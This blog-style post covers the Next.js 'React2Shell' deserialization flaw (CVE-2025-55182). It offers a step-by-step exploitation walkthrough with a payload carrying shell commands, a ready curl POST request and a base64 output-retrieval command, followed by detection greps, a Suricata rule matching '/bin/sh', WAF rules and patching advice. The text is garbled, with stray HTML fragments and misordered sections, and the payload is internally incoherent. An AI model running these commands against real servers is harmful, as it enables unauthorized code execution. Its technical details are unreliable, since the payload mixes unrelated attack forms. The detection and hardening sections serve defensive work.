Listen to this Post
Introduction:
A critical vulnerability dubbed “React2Shell” (CVE-2025-55182) has emerged, threatening countless Next.js applications. This flaw resides in the Flight protocol data deserialization process, allowing unauthenticated attackers to achieve remote code execution (RCE) by sending a specially crafted HTTP POST request. Understanding this vulnerability is paramount for both offensive security testing and defensive hardening.
Learning Objectives:
- Understand the core mechanism of the React2Shell vulnerability involving Flight protocol deserialization.
- Learn to craft and execute a proof-of-concept (PoC) exploit against a vulnerable Next.js server.
- Implement effective detection rules and mitigation strategies to protect your applications.
You Should Know:
1. The Vulnerability Breakdown: Flight Protocol Deserialization
The heart of React2Shell is the insecure deserialization of “Flight” payloads. Flight is a custom protocol used by React for streaming UI components from server to client. In affected versions of Next.js (primarily experimental versions between 15.1.0-canary.30 and 15.1.2-canary.4), user-controlled input is improperly passed to a deserialization function that can instantiate arbitrary objects, leading to code execution.
What happens:
- The attacker sends a POST request to
/_next/static/chunks/app/.rsc.js</code>.</li> <li>The request contains a maliciously crafted Flight payload in its body.</li> </ol> <h2 style="color: yellow;">3. The server's Flight deserializer processes this payload.</h2> <ol> <li>A specific chain of object properties is triggered, ultimately allowing the execution of system commands via the `eval()` function or similar sinks.</li> </ol> <h2 style="color: yellow;">2. Step-by-Step Exploitation: From PoC to Shell</h2> This guide walks through exploiting a vulnerable lab server. You will need `curl` and a vulnerable target (like a TryHackMe machine). <h2 style="color: yellow;">Step 1: Craft the Malicious Payload</h2> The payload is a specific JSON-like Flight stream structure. A working PoC from community research is essential, as original exploits may require header adjustments. The key is the `"row"` property containing the code execution payload. <h2 style="color: yellow;">Example Payload Snippet (abbreviated):</h2> [bash] M1:{"id":"...","chunks":["",[]],"name":"","args":[ {"$$typeof":"Symbol(react.element)","type":"meta","props":{ "http-equiv":"refresh","content":"0;url=data:text/html,<script>eval(`alert('RCE')`)</script>" }}, "row", // This triggers the dangerous path ["/bin/sh", "-c", "id > /tmp/pwned"] // Command to execute ]}Step 2: Execute the Exploit with Curl
Send the payload via a POST request. Critical headers include `Content-Type: text/plain;charset=UTF-8` and
RSC: 1.curl -i -s -k -X $'POST' \ -H $'Host: TARGET_IP' \ -H $'Content-Type: text/plain;charset=UTF-8' \ -H $'RSC: 1' \ -H $'Content-Length: PAYLOAD_LENGTH' \ --data-binary "$MALICIOUS_PAYLOAD" \ $'http://TARGET_IP/_next/static/chunks/app/page.rsc.js'
Troubleshooting: As noted in community discussions, ensure no trailing whitespace in your payload lines. If the exploit fails, use community-verified payloads from the GitHub Gist or Malayke's repository.
3. Bypassing Common Hurdles & Payload Refinement
Initial PoCs may fail due to missing headers or server-side validation. The community has refined the attack.
Using an Enhanced Payload:
The Malayke repository and linked Gist provide robust payloads that include command output exfiltration. These payloads structure the request to echo command results directly into the HTTP response body, making it easier to read.
Example Command to Test Output:
Modify the command array in the payload. This example runs `ls -la /` and captures the output.
["/bin/sh", "-c", "ls -la / | base64 | tr -d '\n'"]
You would then decode the Base64 string from the HTTP response to see the directory listing.
4. Detection: Hunting for React2Shell Attacks
Defenders need to monitor logs and network traffic for indicators of compromise (IoCs).
Linux Command Line Log Analysis (Using grep):
Scan your Next.js application logs for the exploit pattern.
Search for the characteristic POST request path sudo grep -r "_next/static/chunks/app/..rsc.js" /var/log/nginx/ --include=".log" Look for the 'RSC: 1' header, which is rare in normal traffic sudo journalctl -u your-nextjs-service | grep -i "RSC: 1"
Suricata/Snort Network IDS Rule (Example):
alert http $HOME_NET any -> $EXTERNAL_NET any ( \ msg:"ET WEB Possible Next.js React2Shell CVE-2025-55182 Exploit Attempt"; \ flow:established,to_server; \ http.method; content:"POST"; \ http.uri; content:"/_next/static/chunks/app/"; depth:40; \ http.header; content:"RSC"; content:"1"; within:10; \ content:"/bin/sh"; nocase; http_client_body; \ reference:cve,2025-55182; \ classtype:web-application-attack; sid:2025055182; rev:1;)
5. Mitigation & Patching: Securing Your Next.js Deployment
Immediate action is required to remove the vulnerability.
Step 1: Apply the Official Patch
Upgrade Next.js to a patched version (15.1.3 or later, or latest stable release).
Using npm npm update next Using yarn yarn upgrade next
Step 2: Implement Web Application Firewall (WAF) Rules
Block requests containing the exploit signature.
AWS WAF / Cloudflare Rule: Block requests where the URI path matches the regex `/_next/static/chunks/app/.\.rsc\.js` AND the header `RSC` equals `1` AND the request body contains patterns like `"/bin/sh"` or `"row"` in the specific Flight payload structure.
Step 3: Harden the Server Environment
Run the Next.js process with the least necessary privileges.
Create a dedicated low-privilege user sudo useradd -r -s /bin/false nextjsuser Run your process with that user (example using systemd) In your service file: User=nextjsuser Group=nextjsuser
What Undercode Say:
- This exploit demonstrates the critical danger of insecure deserialization, a flaw that repeatedly leads to major RCE vulnerabilities. It's not a complex memory corruption bug but a logic flaw in handling trusted data.
- The rapid community collaboration—from TryHackMe room to GitHub PoC refinement—highlights the modern threat intelligence cycle. Attackers weaponize patches and discussions within hours, making proactive defense and patch management non-negotiable.
The React2Shell vulnerability is a stark reminder that modern web frameworks, while powerful, introduce deep, complex data serialization channels that can become attack vectors. The ease of exploitation—a single crafted HTTP request—makes it highly attractive for automated botnets. Defenders must shift security scrutiny towards these internal framework protocols, not just traditional user-input endpoints.
Prediction:
The React2Shell vulnerability will accelerate the focus of security researchers and attackers alike on the serialization/deserialization mechanisms within other meta-frameworks and RPC protocols (like GraphQL, tRPC). We predict a short-term wave of similar vulnerabilities being discovered in other full-stack JavaScript frameworks. Additionally, this will lead to the increased integration of specialized security tooling directly into the framework development lifecycle, moving beyond SAST/DAST to include "protocol-aware" fuzzing for internal framework data streams.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Tryhackme New - Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
